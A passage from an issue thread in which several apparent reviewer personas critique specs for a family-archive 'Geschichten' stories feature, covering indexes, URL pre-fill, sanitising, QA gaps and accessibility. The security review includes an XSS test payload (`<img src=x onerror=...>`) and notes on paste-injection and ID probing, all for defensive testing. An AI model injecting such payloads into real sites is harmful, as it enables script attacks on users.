persons, and documents as form state. If a BLOG_WRITER navigates away without saving, they lose work silently. A `beforeunload` guard (or SvelteKit's `beforeNavigate`) is needed to prompt "Du hast ungespeicherte Änderungen — wirklich verlassen?" ### Recommendations - The story detail page should use `<article>` as the semantic wrapper for the body content — correct landmark for long-form text content. - Person chips on the story detail (referenced persons) should be `<a href="/persons/{id}">` links, not decorative `<span>` chips — they are navigational. - Prioritise mobile layout for `/geschichten`: single-column card stack, full-width cards, no sidebar filter (filter collapses to a `<select>` above the list at ≤768px).
Author
Owner

🛠️ Tobias Wendt — DevOps & Platform Engineer

Observations

  • Zero new infrastructure required. Geschichten are stored in PostgreSQL and served via the existing Spring Boot + SvelteKit stack. No new containers, no new volumes, no new services. This is a clean in-process feature.
  • Index query performance: The /geschichten index page will always filter WHERE status = 'PUBLISHED' ORDER BY published_at DESC. Without an index, this scans the full geschichten table. It's cheap now (0 rows) but creates an invisible cliff. The V58 migration must include: CREATE INDEX idx_geschichten_status_published ON geschichten (status, published_at DESC) WHERE status = 'PUBLISHED' — partial index, only covers the case that matters.
  • Join table cascade: The geschichten_persons and geschichten_documents join tables need ON DELETE CASCADE on the geschichte_id FK so that deleting a Geschichte via JPA removes the join rows automatically without orphan cleanup in the service layer.
  • No object storage impact: Story body is text in PostgreSQL. Images are Release 2. No MinIO bucket changes needed now.
  • CSP headers: The app renders {@html ...} for the story body. If the Content-Security-Policy headers (set via Caddy in production) include script-src 'self', inline <script> injections are blocked at the browser layer even if DOMPurify misses something. Verify the production Caddy config has a strict CSP — this is a free second layer of defense.

Recommendations

  • The partial index on geschichten status belongs in V58, not added as a follow-up. Migrations are the only moment where we're certain the schema and the index are consistent.
  • No observability gap: the existing Spring Boot request metrics (via Micrometer/Actuator) will automatically capture /api/geschichten latency. No new dashboards needed for an MVP.
  • When pictures land in Release 2, MinIO will need a geschichten-assets bucket (or a prefix in archive-documents). Flag that decision for then — don't create the bucket now.
## 🛠️ Tobias Wendt — DevOps & Platform Engineer ### Observations - **Zero new infrastructure required.** Geschichten are stored in PostgreSQL and served via the existing Spring Boot + SvelteKit stack. No new containers, no new volumes, no new services. This is a clean in-process feature. - **Index query performance**: The `/geschichten` index page will always filter `WHERE status = 'PUBLISHED' ORDER BY published_at DESC`. Without an index, this scans the full `geschichten` table. It's cheap now (0 rows) but creates an invisible cliff. The V58 migration must include: `CREATE INDEX idx_geschichten_status_published ON geschichten (status, published_at DESC) WHERE status = 'PUBLISHED'` — partial index, only covers the case that matters. - **Join table cascade**: The `geschichten_persons` and `geschichten_documents` join tables need `ON DELETE CASCADE` on the `geschichte_id` FK so that deleting a Geschichte via JPA removes the join rows automatically without orphan cleanup in the service layer. - **No object storage impact**: Story body is text in PostgreSQL. Images are Release 2. No MinIO bucket changes needed now. - **CSP headers**: The app renders `{@html ...}` for the story body. If the Content-Security-Policy headers (set via Caddy in production) include `script-src 'self'`, inline `<script>` injections are blocked at the browser layer even if DOMPurify misses something. Verify the production Caddy config has a strict CSP — this is a free second layer of defense. ### Recommendations - The partial index on `geschichten` status belongs in V58, not added as a follow-up. Migrations are the only moment where we're certain the schema and the index are consistent. - No observability gap: the existing Spring Boot request metrics (via Micrometer/Actuator) will automatically capture `/api/geschichten` latency. No new dashboards needed for an MVP. - When pictures land in Release 2, MinIO will need a `geschichten-assets` bucket (or a prefix in `archive-documents`). Flag that decision for then — don't create the bucket now.
Author
Owner

🗳️ Decision Queue — Action Required

2 decisions need your input before implementation starts.

Architecture / Data Model

  • Story body character limit — The body field is unbounded in the current spec. A DB CHECK constraint must be set in V58. Options: 10 000 chars (safe, covers simple family memories), 50 000 chars (covers long narrative stories), unlimited (no constraint — requires a frontend length indicator only). The limit also determines the frontend character counter UI. (Raised by: Markus)

Frontend

  • Rich text editor library — The spec requires bold, italic, and paragraph breaks. A library is needed. Options: Tiptap (@tiptap/starter-kit, headless, Svelte-compatible, well-maintained — Felix's recommendation) vs. no library (raw contenteditable with document.execCommand, zero deps but deprecated browser APIs and inconsistent cross-browser behaviour). Tiptap is the safer long-term bet but adds a dependency. (Raised by: Felix)
## 🗳️ Decision Queue — Action Required _2 decisions need your input before implementation starts._ ### Architecture / Data Model - **Story body character limit** — The `body` field is unbounded in the current spec. A DB `CHECK` constraint must be set in V58. Options: **10 000 chars** (safe, covers simple family memories), **50 000 chars** (covers long narrative stories), **unlimited** (no constraint — requires a frontend length indicator only). The limit also determines the frontend character counter UI. _(Raised by: Markus)_ ### Frontend - **Rich text editor library** — The spec requires bold, italic, and paragraph breaks. A library is needed. Options: **Tiptap** (`@tiptap/starter-kit`, headless, Svelte-compatible, well-maintained — Felix's recommendation) vs. **no library** (raw `contenteditable` with `document.execCommand`, zero deps but deprecated browser APIs and inconsistent cross-browser behaviour). Tiptap is the safer long-term bet but adds a dependency. _(Raised by: Felix)_
Author
Owner

🏛️ Markus Keller — Application Architect (spec review)

The four spec files resolve several earlier open questions but also introduce scope that the issue body doesn't cover. I'm flagging what changed architecturally.

Resolved by specs

  • Rich-text editor: writer-journey spec explicitly chooses contenteditable + document.execCommand over a library. No new dependency needed for MVP. The Decision Queue item is closed.
  • Shared editor component: /geschichten/new and /geschichten/[id]/edit both use GeschichteEditor.svelte. The difference is only in the load function (empty vs populated state). This is clean.
  • Cross-domain call for document detail: the document-integration spec confirms +page.server.ts on the document detail page loads geschichten from the API and passes them as a prop to DocumentMetadataDrawer. The service call should go through GeschichteService, not a direct repository query from DocumentController. Standard boundary.

New scope introduced by specs (not in the issue)

1. ?documentId= filter on the index page.
Spec D-2 shows an "Alle anzeigen" link that points to /geschichten?documentId=xxx. US-BLOG-004 only describes a person filter — ?person=UUID. The index page load function must also handle ?documentId= as a filter parameter. This is a distinct query path (WHERE status = 'PUBLISHED' AND :documentId MEMBER OF g.documents) not mentioned anywhere in the issue.

2. URL-param pre-fill in the editor.
Spec W-3 / P-1 / D-2 all show links like /geschichten/new?personId={id} and /geschichten/new?documentId={id}. These imply the /new route has a server-side load that reads these params, fetches the Person/Document by ID, and passes them as initial state to the editor. This is new server-side logic not covered by US-BLOG-001 or US-BLOG-002.

3. DocumentMetadataDrawer grid expansion.
The current component (DocumentMetadataDrawer.svelte:70) uses lg:grid-cols-3. The spec adds geschichten: Geschichte[] and canWrite: boolean props, and switches to lg:grid-cols-4 when geschichten.length > 0. This is a contained change but it touches an existing component that has its own test file — update both.

Recommendations

  • Add GET /api/geschichten?documentId={id}&status=PUBLISHED filter support to GeschichteService alongside the existing ?personId= filter. One @Query method with nullable params handles both.
  • The /geschichten/new route needs a +page.server.ts load function (currently the spec says "Kein Load nötig") — but that's only true when no pre-fill params are present. If ?personId= or ?documentId= is in the URL, a load function is required to validate and fetch the entity. Guard against invalid IDs (404 → ignore pre-fill gracefully, don't crash the editor).
  • Keep V58 migration as the single source of truth for schema. The new ?personId and ?documentId filter indexes (idx_geschichten_persons on the join table) should be in V58, not added later.

Open Decisions

  • Font: Fraunces — the spec uses --font-display: 'Fraunces' as a new CSS variable for Geschichten pages. The current layout.css only defines --font-sans: 'Montserrat' and --font-serif: 'Merriweather'. Scoping Fraunces to Geschichten only is possible but adds a font-loading dependency. Alternative: use the existing font-serif (Merriweather) and accept a slightly different look. This is a product decision before implementation.
## 🏛️ Markus Keller — Application Architect _(spec review)_ The four spec files resolve several earlier open questions but also introduce scope that the issue body doesn't cover. I'm flagging what changed architecturally. ### Resolved by specs - **Rich-text editor**: writer-journey spec explicitly chooses `contenteditable` + `document.execCommand` over a library. No new dependency needed for MVP. The Decision Queue item is closed. - **Shared editor component**: `/geschichten/new` and `/geschichten/[id]/edit` both use `GeschichteEditor.svelte`. The difference is only in the load function (empty vs populated state). This is clean. - **Cross-domain call for document detail**: the document-integration spec confirms `+page.server.ts` on the document detail page loads `geschichten` from the API and passes them as a prop to `DocumentMetadataDrawer`. The service call should go through `GeschichteService`, not a direct repository query from `DocumentController`. Standard boundary. ### New scope introduced by specs (not in the issue) **1. `?documentId=` filter on the index page.** Spec D-2 shows an "Alle anzeigen" link that points to `/geschichten?documentId=xxx`. US-BLOG-004 only describes a person filter — `?person=UUID`. The index page load function must also handle `?documentId=` as a filter parameter. This is a distinct query path (`WHERE status = 'PUBLISHED' AND :documentId MEMBER OF g.documents`) not mentioned anywhere in the issue. **2. URL-param pre-fill in the editor.** Spec W-3 / P-1 / D-2 all show links like `/geschichten/new?personId={id}` and `/geschichten/new?documentId={id}`. These imply the `/new` route has a server-side load that reads these params, fetches the Person/Document by ID, and passes them as initial state to the editor. This is new server-side logic not covered by US-BLOG-001 or US-BLOG-002. **3. `DocumentMetadataDrawer` grid expansion.** The current component (`DocumentMetadataDrawer.svelte:70`) uses `lg:grid-cols-3`. The spec adds `geschichten: Geschichte[]` and `canWrite: boolean` props, and switches to `lg:grid-cols-4` when `geschichten.length > 0`. This is a contained change but it touches an existing component that has its own test file — update both. ### Recommendations - Add `GET /api/geschichten?documentId={id}&status=PUBLISHED` filter support to `GeschichteService` alongside the existing `?personId=` filter. One `@Query` method with nullable params handles both. - The `/geschichten/new` route needs a `+page.server.ts` load function (currently the spec says "Kein Load nötig") — but that's only true when no pre-fill params are present. If `?personId=` or `?documentId=` is in the URL, a load function is required to validate and fetch the entity. Guard against invalid IDs (404 → ignore pre-fill gracefully, don't crash the editor). - Keep V58 migration as the single source of truth for schema. The new `?personId` and `?documentId` filter indexes (`idx_geschichten_persons` on the join table) should be in V58, not added later. ### Open Decisions - **Font: Fraunces** — the spec uses `--font-display: 'Fraunces'` as a new CSS variable for Geschichten pages. The current `layout.css` only defines `--font-sans: 'Montserrat'` and `--font-serif: 'Merriweather'`. Scoping Fraunces to Geschichten only is possible but adds a font-loading dependency. Alternative: use the existing `font-serif` (Merriweather) and accept a slightly different look. This is a product decision before implementation.
Author
Owner

👨‍💻 Felix Brandt — Senior Fullstack Developer (spec review)

The four spec files resolve the open decisions from my earlier review and add concrete implementation guidance. Here's what changed and what I'm watching.

Decisions resolved by specs

Rich-text editor: contenteditable, not Tiptap. The writer-journey spec explicitly states: "Minimales contenteditable div oder <textarea> mit document.execCommand für B/I/¶ — keine Bibliothek nötig für den MVP." My earlier recommendation for Tiptap is overruled. The Decision Queue item is closed. document.execCommand is deprecated but universally supported across current browsers — acceptable for MVP. The output HTML is simpler and more predictable for the OWASP sanitizer.

Confirm service: existing, not custom. Spec W-5 confirms reuse of getConfirmService() from $lib/services/confirm.svelte.ts (note: the spec says .js but the actual file is .ts). No new dialog component needed.

"Zurück zu Entwurf" — no confirmation dialog. Spec W-3 explicitly marks this "Bestätigung optional" because it's reversible. The earlier review flagged this as needing confirmation — the spec disagrees. PATCH { "status": "DRAFT" }, no dialog, instant.

Implementation details confirmed by specs

  • Utility functions all exist: personAvatarColor() at $lib/utils/personFormat.ts:75, formatDate() at $lib/utils/date.ts. Both are already tested. Use them directly.
  • PersonMultiSelect reused in sidebar — confirmed. No changes needed to the existing component.
  • DocumentTypeahead.svelte is new. Pattern: GET /api/documents?search={q}, chips show title + date. Model it after PersonTypeahead.svelte.
  • GeschichtenCard.svelte is a new shared component. Props: geschichten: Geschichte[], personId: string | undefined, canWrite: boolean. Excerpt = HTML-stripped body, first 80 chars. Use a stripHtml(text: string): string utility (new, one-liner via DOMParser).
  • Mobile sidebar: <details> element with <summary>Personen & Dokumente</summary>. No library. The chevron rotation is a CSS details[open] summary svg { transform: rotate(90deg) } rule.

New scope from specs I'm tracking

Pre-fill from URL params (/geschichten/new?personId=x and ?documentId=x): the /new route currently has no +page.server.ts. If either param is present, we need one to fetch and validate the entity before passing it as initial state to the editor. Pattern:

// +page.server.ts for /geschichten/new
export async function load({ url, fetch }) {
    const personId = url.searchParams.get('personId');
    const documentId = url.searchParams.get('documentId');
    // fetch person/document if present, ignore on 404
    return { initialPersons: [...], initialDocuments: [...] };
}

The editor receives these as Svelte props and initialises its SvelteSet state from them.

TDD order (updated for all four specs)

  1. GeschichteServiceTest — draft/publish/retract/delete, personId/documentId filters
  2. GeschichteControllerTest (@WebMvcTest) — CRUD + permission boundaries + pre-fill URL params resolved server-side
  3. DocumentMetadataDrawerTest — grid switches to 4 cols when geschichten.length > 0
  4. GeschichtenCardTest — conditional render, excerpt stripping, canWrite gate
  5. GeschichteEditorTest — save bar state derives from status, pre-fill from props
  6. E2E (Playwright) — full writer journey, reader journey, document→story, person→story
## 👨‍💻 Felix Brandt — Senior Fullstack Developer _(spec review)_ The four spec files resolve the open decisions from my earlier review and add concrete implementation guidance. Here's what changed and what I'm watching. ### Decisions resolved by specs **Rich-text editor: `contenteditable`, not Tiptap.** The writer-journey spec explicitly states: _"Minimales `contenteditable` div oder `<textarea>` mit `document.execCommand` für B/I/¶ — keine Bibliothek nötig für den MVP."_ My earlier recommendation for Tiptap is overruled. The Decision Queue item is closed. `document.execCommand` is deprecated but universally supported across current browsers — acceptable for MVP. The output HTML is simpler and more predictable for the OWASP sanitizer. **Confirm service: existing, not custom.** Spec W-5 confirms reuse of `getConfirmService()` from `$lib/services/confirm.svelte.ts` (note: the spec says `.js` but the actual file is `.ts`). No new dialog component needed. **"Zurück zu Entwurf" — no confirmation dialog.** Spec W-3 explicitly marks this "Bestätigung optional" because it's reversible. The earlier review flagged this as needing confirmation — the spec disagrees. PATCH `{ "status": "DRAFT" }`, no dialog, instant. ### Implementation details confirmed by specs - **Utility functions all exist**: `personAvatarColor()` at `$lib/utils/personFormat.ts:75`, `formatDate()` at `$lib/utils/date.ts`. Both are already tested. Use them directly. - **`PersonMultiSelect`** reused in sidebar — confirmed. No changes needed to the existing component. - **`DocumentTypeahead.svelte`** is new. Pattern: `GET /api/documents?search={q}`, chips show title + date. Model it after `PersonTypeahead.svelte`. - **`GeschichtenCard.svelte`** is a new shared component. Props: `geschichten: Geschichte[]`, `personId: string | undefined`, `canWrite: boolean`. Excerpt = HTML-stripped body, first 80 chars. Use a `stripHtml(text: string): string` utility (new, one-liner via DOMParser). - **Mobile sidebar**: `<details>` element with `<summary>Personen & Dokumente</summary>`. No library. The chevron rotation is a CSS `details[open] summary svg { transform: rotate(90deg) }` rule. ### New scope from specs I'm tracking **Pre-fill from URL params** (`/geschichten/new?personId=x` and `?documentId=x`): the `/new` route currently has no `+page.server.ts`. If either param is present, we need one to fetch and validate the entity before passing it as initial state to the editor. Pattern: ```typescript // +page.server.ts for /geschichten/new export async function load({ url, fetch }) { const personId = url.searchParams.get('personId'); const documentId = url.searchParams.get('documentId'); // fetch person/document if present, ignore on 404 return { initialPersons: [...], initialDocuments: [...] }; } ``` The editor receives these as Svelte props and initialises its `SvelteSet` state from them. ### TDD order (updated for all four specs) 1. `GeschichteServiceTest` — draft/publish/retract/delete, personId/documentId filters 2. `GeschichteControllerTest` (`@WebMvcTest`) — CRUD + permission boundaries + pre-fill URL params resolved server-side 3. `DocumentMetadataDrawerTest` — grid switches to 4 cols when `geschichten.length > 0` 4. `GeschichtenCardTest` — conditional render, excerpt stripping, canWrite gate 5. `GeschichteEditorTest` — save bar state derives from `status`, pre-fill from props 6. E2E (Playwright) — full writer journey, reader journey, document→story, person→story
Author
Owner

🔒 Nora "NullX" Steiner — Security Engineer (spec review)

The four specs add two new attack surfaces not fully addressed in my earlier review. The existing concerns (XSS, DRAFT exposure) stand — here's what's new.

New surface 1: contenteditable paste-injection

The writer-journey spec resolves the rich-text editor as contenteditable + document.execCommand. This changes the XSS threat model compared to Tiptap.

contenteditable faithfully preserves HTML that the browser generates from paste events. When a user pastes content from a webpage or email client, the browser inserts the source HTML into the contenteditable div — including <script> tags, style attributes, data- attributes, and <img onerror> handlers — before any JavaScript can intercept it. The document.execCommand('bold') path is safe, but clipboard paste is not.

Required mitigation: intercept paste events and sanitize before inserting:

editor.addEventListener('paste', (e) => {
    e.preventDefault();
    const text = e.clipboardData.getData('text/plain');
    document.execCommand('insertText', false, text); // plain text only
});

This strips all pasted HTML before it enters the editor. If the spec later needs "paste rich text from Word", revisit — but for MVP, plain-text paste is safer and sufficient.

The backend OWASP sanitizer remains the last line of defense regardless.

New surface 2: URL parameter entity injection

The person and document integration specs introduce pre-fill links:

  • /geschichten/new?personId={id} (from person page)
  • /geschichten/new?documentId={id} (from document drawer)

The editor's server-side load function must validate these IDs:

// +page.server.ts
const person = personId ? await geschichtenApi.GET('/api/persons/{id}', ...) : null;
if (personId && !result.response.ok) {
    // silently ignore — don't expose that the ID was invalid
}

The risk is not authorization bypass (BLOG_WRITE is still checked on save) but information leakage: a malicious actor could probe /geschichten/new?personId=X to discover whether person ID X exists in the system. Mitigation: treat any non-200 response for a pre-fill ID as "ID not found, ignore quietly" — no error message, no HTTP status difference.

Confirmed by specs

  • DOMPurify for rendering: the reader-journey spec impl-ref table says "kein XSS (DOMPurify)" for body text. However, DOMPurify does not appear in the codebase (grep -r DOMPurify returns nothing). This means the spec anticipates a dependency that hasn't been added yet. Add dompurify + @types/dompurify before the story detail route is built.

  • DRAFT exposure via direct URL: a reader who knows a DRAFT story's UUID could attempt GET /geschichten/{id}. The service must return 404 (not 403) — confirmed in my earlier review. The spec doesn't mention this explicitly, but the GeschichteService.getById() guard must reflect it.

Recommendations

  1. Add paste event handler to contenteditable for plain-text-only paste. Test with a payload: <img src=x onerror="alert(1)"> pasted from clipboard.
  2. Add dompurify as a frontend dependency. Create $lib/utils/sanitize.ts: export const safeHtml = (raw: string) => DOMPurify.sanitize(raw, { ALLOWED_TAGS: ['p', 'strong', 'em', 'br'] }). Use in story detail only.
  3. Write a @WebMvcTest for GET /api/geschichten/{id} confirming DRAFT returns 404 to a user with READ_ALL only.
## 🔒 Nora "NullX" Steiner — Security Engineer _(spec review)_ The four specs add two new attack surfaces not fully addressed in my earlier review. The existing concerns (XSS, DRAFT exposure) stand — here's what's new. ### New surface 1: `contenteditable` paste-injection The writer-journey spec resolves the rich-text editor as `contenteditable` + `document.execCommand`. This changes the XSS threat model compared to Tiptap. `contenteditable` faithfully preserves HTML that the browser generates from paste events. When a user pastes content from a webpage or email client, the browser inserts the source HTML into the `contenteditable` div — including `<script>` tags, `style` attributes, `data-` attributes, and `<img onerror>` handlers — before any JavaScript can intercept it. The `document.execCommand('bold')` path is safe, but **clipboard paste is not**. **Required mitigation**: intercept `paste` events and sanitize before inserting: ```javascript editor.addEventListener('paste', (e) => { e.preventDefault(); const text = e.clipboardData.getData('text/plain'); document.execCommand('insertText', false, text); // plain text only }); ``` This strips all pasted HTML before it enters the editor. If the spec later needs "paste rich text from Word", revisit — but for MVP, plain-text paste is safer and sufficient. The backend OWASP sanitizer remains the last line of defense regardless. ### New surface 2: URL parameter entity injection The person and document integration specs introduce pre-fill links: - `/geschichten/new?personId={id}` (from person page) - `/geschichten/new?documentId={id}` (from document drawer) The editor's server-side load function must validate these IDs: ```typescript // +page.server.ts const person = personId ? await geschichtenApi.GET('/api/persons/{id}', ...) : null; if (personId && !result.response.ok) { // silently ignore — don't expose that the ID was invalid } ``` The risk is not authorization bypass (BLOG_WRITE is still checked on save) but information leakage: a malicious actor could probe `/geschichten/new?personId=X` to discover whether person ID X exists in the system. Mitigation: treat any non-200 response for a pre-fill ID as "ID not found, ignore quietly" — no error message, no HTTP status difference. ### Confirmed by specs - **DOMPurify for rendering**: the reader-journey spec impl-ref table says _"kein XSS (DOMPurify)"_ for body text. However, `DOMPurify` does not appear in the codebase (`grep -r DOMPurify` returns nothing). This means the spec anticipates a dependency that hasn't been added yet. Add `dompurify` + `@types/dompurify` before the story detail route is built. - **DRAFT exposure via direct URL**: a reader who knows a DRAFT story's UUID could attempt `GET /geschichten/{id}`. The service must return 404 (not 403) — confirmed in my earlier review. The spec doesn't mention this explicitly, but the `GeschichteService.getById()` guard must reflect it. ### Recommendations 1. Add `paste` event handler to `contenteditable` for plain-text-only paste. Test with a payload: `<img src=x onerror="alert(1)">` pasted from clipboard. 2. Add `dompurify` as a frontend dependency. Create `$lib/utils/sanitize.ts`: `export const safeHtml = (raw: string) => DOMPurify.sanitize(raw, { ALLOWED_TAGS: ['p', 'strong', 'em', 'br'] })`. Use in story detail only. 3. Write a `@WebMvcTest` for `GET /api/geschichten/{id}` confirming DRAFT returns 404 to a user with READ_ALL only.
Author
Owner

🧪 Sara Holt — QA Engineer (spec review)

The four specs add substantial surface area that has no AC coverage in the original issue. I'm cataloguing the gaps and the new journeys.

AC gaps introduced by the specs

Gap 1 — ?documentId= index filter (no AC)
Spec D-2 shows "Alle anzeigen" linking to /geschichten?documentId=xxx. US-BLOG-004 only specifies a person filter. There is no AC for:

  • Loading /geschichten?documentId=X shows only stories referencing that document
  • The filter pill UI for this case (the spec doesn't show one — does the index page just show a filtered list without pills?)

This is new scope that needs an AC before implementation.

Gap 2 — Pre-fill from URL params (no AC)
Specs P-1 and D-2 show "+ Geschichte schreiben/anhängen" links that navigate to /geschichten/new?personId=X or /geschichten/new?documentId=X. Neither US-BLOG-001 nor US-BLOG-002 has an AC for:

  • Given I navigate to /geschichten/new?personId=X, when the editor loads, then Person X appears as a pre-selected chip
  • Given I navigate with an invalid/non-existent ID, when the editor loads, then the chip area is empty (no crash, no error)

Gap 3 — Person and document discovery journeys (no US)
The person and document integration specs describe complete user journeys with no corresponding user story in the issue:

  • Browsing Franz Raddatz's person page → seeing the Geschichten card → clicking a story title → reading the full story
  • Opening a document detail → expanding the drawer → seeing the Geschichten column → clicking a story

These need E2E test coverage but have no AC to drive them from.

Gap 4 — "Alle anzeigen" threshold inconsistency
Spec P-1 impl-ref says the footer link appears when geschichten.length >= 3. Spec D-2 says "wenn stories.length > 3". These are different thresholds (≥3 vs >3). Before writing tests, confirm which one is correct.

AC gaps from my earlier review — still open

  • HTML excerpt stripping — both reader-journey and person-integration specs confirm: excerpt = HTML-stripped body, max 150 chars (reader journey) / 80 chars (person page). Add explicit AC to US-BLOG-004.
  • publishedAt on re-publish — the spec does not resolve whether a DRAFT→PUBLISHED→DRAFT→PUBLISHED cycle updates publishedAt. REQ-BLOG-001 implies yes, but needs confirmation as a concrete AC.

New E2E journeys to write

  1. Writer journey (already planned): create draft → attach person + document → publish → verify visible on index
  2. Reader journey: browse /geschichten → filter by person pill → click story → verify referenced person chips link to /persons/{id} → verify referenced doc cards link to /documents/{id}
  3. Document discovery: open document detail → expand drawer → verify Geschichten column appears → click story title → verify full story page
  4. Person discovery: open person page → scroll to Geschichten card → click story → back to person page
  5. Pre-fill: click "+ Geschichte schreiben" on person page → verify person chip pre-selected in editor → save → verify person attached

Recommendations

  • Add ACs to US-BLOG-002 covering pre-fill from URL params.
  • Add a new US-BLOG-007 (or extend US-BLOG-005) for the person-page discovery journey with explicit ACs.
  • Resolve the >= 3 vs > 3 threshold inconsistency between the two specs before V58 is written — it affects both backend limit query and frontend link visibility.
  • Run AxeBuilder on both /geschichten index and /geschichten/[id] detail in the Playwright suite — NFR-ACC-001 requires it.
## 🧪 Sara Holt — QA Engineer _(spec review)_ The four specs add substantial surface area that has no AC coverage in the original issue. I'm cataloguing the gaps and the new journeys. ### AC gaps introduced by the specs **Gap 1 — `?documentId=` index filter (no AC)** Spec D-2 shows "Alle anzeigen" linking to `/geschichten?documentId=xxx`. US-BLOG-004 only specifies a person filter. There is no AC for: - Loading `/geschichten?documentId=X` shows only stories referencing that document - The filter pill UI for this case (the spec doesn't show one — does the index page just show a filtered list without pills?) This is new scope that needs an AC before implementation. **Gap 2 — Pre-fill from URL params (no AC)** Specs P-1 and D-2 show "+ Geschichte schreiben/anhängen" links that navigate to `/geschichten/new?personId=X` or `/geschichten/new?documentId=X`. Neither US-BLOG-001 nor US-BLOG-002 has an AC for: - Given I navigate to `/geschichten/new?personId=X`, when the editor loads, then Person X appears as a pre-selected chip - Given I navigate with an invalid/non-existent ID, when the editor loads, then the chip area is empty (no crash, no error) **Gap 3 — Person and document discovery journeys (no US)** The person and document integration specs describe complete user journeys with no corresponding user story in the issue: - Browsing Franz Raddatz's person page → seeing the Geschichten card → clicking a story title → reading the full story - Opening a document detail → expanding the drawer → seeing the Geschichten column → clicking a story These need E2E test coverage but have no AC to drive them from. **Gap 4 — "Alle anzeigen" threshold inconsistency** Spec P-1 impl-ref says the footer link appears when `geschichten.length >= 3`. Spec D-2 says "wenn `stories.length > 3`". These are different thresholds (≥3 vs >3). Before writing tests, confirm which one is correct. ### AC gaps from my earlier review — still open - **HTML excerpt stripping** — both reader-journey and person-integration specs confirm: excerpt = HTML-stripped body, max 150 chars (reader journey) / 80 chars (person page). Add explicit AC to US-BLOG-004. - **publishedAt on re-publish** — the spec does not resolve whether a DRAFT→PUBLISHED→DRAFT→PUBLISHED cycle updates `publishedAt`. REQ-BLOG-001 implies yes, but needs confirmation as a concrete AC. ### New E2E journeys to write 1. **Writer journey** (already planned): create draft → attach person + document → publish → verify visible on index 2. **Reader journey**: browse `/geschichten` → filter by person pill → click story → verify referenced person chips link to `/persons/{id}` → verify referenced doc cards link to `/documents/{id}` 3. **Document discovery**: open document detail → expand drawer → verify Geschichten column appears → click story title → verify full story page 4. **Person discovery**: open person page → scroll to Geschichten card → click story → back to person page 5. **Pre-fill**: click "+ Geschichte schreiben" on person page → verify person chip pre-selected in editor → save → verify person attached ### Recommendations - Add ACs to US-BLOG-002 covering pre-fill from URL params. - Add a new US-BLOG-007 (or extend US-BLOG-005) for the person-page discovery journey with explicit ACs. - Resolve the `>= 3` vs `> 3` threshold inconsistency between the two specs before V58 is written — it affects both backend limit query and frontend link visibility. - Run `AxeBuilder` on both `/geschichten` index and `/geschichten/[id]` detail in the Playwright suite — NFR-ACC-001 requires it.
Author
Owner

🎨 Leonie Voss — UX Designer & Accessibility Strategist (spec review)

The specs are well-structured — the impl-ref tables are exactly the right level of precision for handoff. A few places where the specs conflict with my earlier review, and a few new concerns.

Where the spec overrules my earlier comments

"Zurück zu Entwurf" — no confirmation needed. I said this should have a confirmation dialog because it removes the story from reader views immediately. The spec (W-3) marks it "Bestätigung optional" and shows no dialog. On reflection, the spec is right: the action is reversible with one click ("Veröffentlichen" undoes it), and a confirmation dialog on a reversible action adds friction without real protection. My earlier analogy to "Löschen" was wrong. I withdraw that recommendation.

Person filter uses TypeAhead, not <select>. I recommended a native <select> for the filter because the list is bounded. The spec uses filter pills + a "Person wählen" TypeAhead trigger. The spec's rationale is valid: the persons list can grow large (50+ people in a family archive). The TypeAhead is appropriate. What I need instead: ensure the "Person wählen" trigger button has aria-label="Person filtern" so screen readers announce purpose, not just the text content.

New concerns from the specs

1. Fraunces font — new dependency, visual inconsistency risk.
Both the reader and writer journey specs use --font-display: 'Fraunces', Georgia, serif for all story titles and the page heading. The current layout.css has no --font-display variable and no Fraunces loading. The existing font-serif maps to Merriweather.

Two paths:

  • Scoped to Geschichten only: add --font-display to layout.css, load Fraunces via <link> in the Geschichten layout. Risk: visual dissonance between the narrative feel of Geschichten (Fraunces) and the archival feel of Documents (Merriweather). May be intentional — Geschichten are living memory, not historical record.
  • Skip Fraunces, use Merriweather: existing font-serif already gives serif authority. No new font dependency, no CLS risk, consistent with the rest of the app.

This is a brand decision, not a development decision — but it needs to be made before any Geschichten page is built.

2. Turquoise contrast — flagged and accepted in spec.
The person-integration spec explicitly notes: "Turquoise (#00C7B1) auf Weiß = 2.8:1 — für diesen kleinen UI-Hinweis akzeptabel, aber kein Body-Text." This is a documented, deliberate exception for the "+ Geschichte schreiben" link at 10px. I accept it at that size. Hard rule: turquoise must never be used at ≥12px on white without re-checking contrast.

3. BottomSheet on mobile — does it exist?
The reader-journey spec (R-2) shows … Menü on mobile opening a BottomSheet with Bearbeiten + Löschen. grep -r BottomSheet in the frontend finds nothing. This is a new component. If it's built as part of this feature, it should be designed and scoped in a separate sub-issue — the pattern will be reused elsewhere (the document page likely has the same mobile action pattern).

4. Filter pills and the active state.
Spec R-1 impl-ref confirms aria-pressed="true|false" on each pill — my earlier recommendation validated. One addition: when no filter is active, the "Alle" pill has aria-pressed="true". When a person is selected, "Alle" gets aria-pressed="false". This needs to be explicit in the implementation so keyboard users understand the current filter state.

Recommendations

  • Decide on Fraunces vs Merriweather before the first Geschichten template is built.
  • Scope the BottomSheet component as its own deliverable or use a simpler fallback (render Bearbeiten/Löschen in a <details> on mobile) for MVP.
  • Add aria-label="Person filtern" to the "Person wählen" typeahead trigger button.
  • Confirm the aria-pressed implementation covers the "Alle" pill deselection state.
## 🎨 Leonie Voss — UX Designer & Accessibility Strategist _(spec review)_ The specs are well-structured — the impl-ref tables are exactly the right level of precision for handoff. A few places where the specs conflict with my earlier review, and a few new concerns. ### Where the spec overrules my earlier comments **"Zurück zu Entwurf" — no confirmation needed.** I said this should have a confirmation dialog because it removes the story from reader views immediately. The spec (W-3) marks it "Bestätigung optional" and shows no dialog. On reflection, the spec is right: the action is reversible with one click ("Veröffentlichen" undoes it), and a confirmation dialog on a reversible action adds friction without real protection. My earlier analogy to "Löschen" was wrong. I withdraw that recommendation. **Person filter uses TypeAhead, not `<select>`.** I recommended a native `<select>` for the filter because the list is bounded. The spec uses filter pills + a "Person wählen" TypeAhead trigger. The spec's rationale is valid: the persons list can grow large (50+ people in a family archive). The TypeAhead is appropriate. What I need instead: ensure the "Person wählen" trigger button has `aria-label="Person filtern"` so screen readers announce purpose, not just the text content. ### New concerns from the specs **1. Fraunces font — new dependency, visual inconsistency risk.** Both the reader and writer journey specs use `--font-display: 'Fraunces', Georgia, serif` for all story titles and the page heading. The current `layout.css` has no `--font-display` variable and no Fraunces loading. The existing `font-serif` maps to Merriweather. Two paths: - **Scoped to Geschichten only**: add `--font-display` to `layout.css`, load Fraunces via `<link>` in the Geschichten layout. Risk: visual dissonance between the narrative feel of Geschichten (Fraunces) and the archival feel of Documents (Merriweather). May be intentional — Geschichten are living memory, not historical record. - **Skip Fraunces, use Merriweather**: existing `font-serif` already gives serif authority. No new font dependency, no CLS risk, consistent 